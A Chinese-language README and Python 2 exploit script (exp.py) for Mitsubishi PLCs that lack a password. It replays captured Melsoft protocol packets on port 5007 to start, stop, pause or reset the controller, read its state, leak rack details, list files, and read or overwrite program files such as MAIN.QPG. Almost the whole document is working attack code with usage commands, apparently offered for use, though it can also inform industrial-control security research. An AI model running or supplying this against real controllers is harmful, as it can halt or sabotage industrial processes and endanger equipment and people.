三菱PLC控制脚本

三菱系列PLC,Melsoft私有协议,但如果没有配置口令,则可以直接进行重放攻击,通过wireshark抓取组态软件与PLC的通信报文即可获得控制PLC的数据包,重放即可。

相关研究文章:

相关文档:

目前功能如下:

  1. 启动、停止、暂停、重置
  2. 查看PLC状态
  3. 泄露架子信息
  4. 泄露文件系统
  5. 读写文件

用法:

➜  python exp.py 192.168.2.1 stop
➜  python exp.py 192.168.2.1 run
➜  python exp.py 192.168.2.1 pause
➜  python exp.py 192.168.2.1 reset
➜  python exp.py 192.168.2.1 state
➜  python exp.py 192.168.2.1 leak 
➜  python exp.py 192.168.2.1 listfile
➜  python exp.py 192.168.2.1 readfile MAIN.QPG
➜  python exp.py 192.168.2.1 writefile MAIN.QPG 1111111111111111
import socket,sys
s = socket.socket()
s.connect((sys.argv[1],5007))
if sys.argv[2]=="run" :
    s.send("57000000001111070000ffff030000fe03000016001c080a08000000000000000410019a00000001000000".decode("hex"))
    s.recv(1024)
elif sys.argv[2]=="stop":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2]=="pause":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041003040000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "state":
    s.send("57001f00001111070000ffff030000fe03000012001c080a080000000000000004080228000000".decode("hex"))
    r = s.recv(1024)
    if(r[0x2f]=='\x20'): print "run"
    elif(r[0x2f]=='\x22'): print "stop"
    elif(r[0x2f]=='\x23'): print "pause"
elif sys.argv[2] == "reset":
    s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
    s.recv(1024)
    s.send("57000a00001111070000ffff030000fe03000014003c080a08000000000000000410060a0000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "leak":
    s.send("57000000001111070000ffff030000fe03000014001c080a08000000000000000401012a0000000001".decode("hex"))
    r = s.recv(1024)[0x29:0x39]
    s.send("57000f00001111070000ffff030000fe0300001a001c080a0800000000000000040b050f0000000201540054000000".decode("hex"))
    r += s.recv(1024)[0x53:]
    s.send("57001000001111070000ffff030000fe0300001a001c080a0800000000000000040b05100000000201a80054000000".decode("hex"))
    r += s.recv(1024)[0x28:]
    print r.replace("A ","\nA ").replace(" 0"," ")
elif sys.argv[2] == "listfile":
    for i in range(1,9):
        try:
            payload = "57001900001111070000ffff030000fe0300001e001c080a080000000000000004181019000000000000000000"+str(i).zfill(2)+"0001000000"
            s.send(payload.decode("hex"))
            a = s.recv(1024)
            print a[0x2b:0x37],
            print int(a[0x47:0x49][::-1].encode("hex"),16)
        except:
            pass
elif sys.argv[2] == "readfile":
    s.settimeout(5)
    name = sys.argv[3]
    payload = name.encode("hex")
    length =  hex(len(name)+29)[2:]
    # open file 1827
    s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000000000a00"+payload+"00").decode("hex"))
    s.recv(1024)
    # read file 1828
    s.send("57005d00001111070000ffff030000fe0300001a001c080a0800000000000000041828900000000000000000008007".decode("hex"))
    r  = ""
    while True:
        try: r += s.recv(1024)
        except:break
    print r[0x2b:]
    # close file 182a
    s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
    s.recv(1024)
elif sys.argv[2] == "writefile":
    s.settimeout(5)
    name = sys.argv[3]
    payload = name.encode("hex")
    length =  hex(len(name)+29)[2:]
    # open file 1827
    s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000100000a00"+payload+"00").decode("hex"))
    s.recv(1024)
    data = sys.argv[4]
    content = data.encode("hex")
    length = hex(len(data)+26)[2:]
    # write file 1829
    s.send(("57001a00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418291a0000000000000000008007"+content).decode("hex"))
    s.recv(1024)
    # close file 182a
    s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
    s.recv(1024)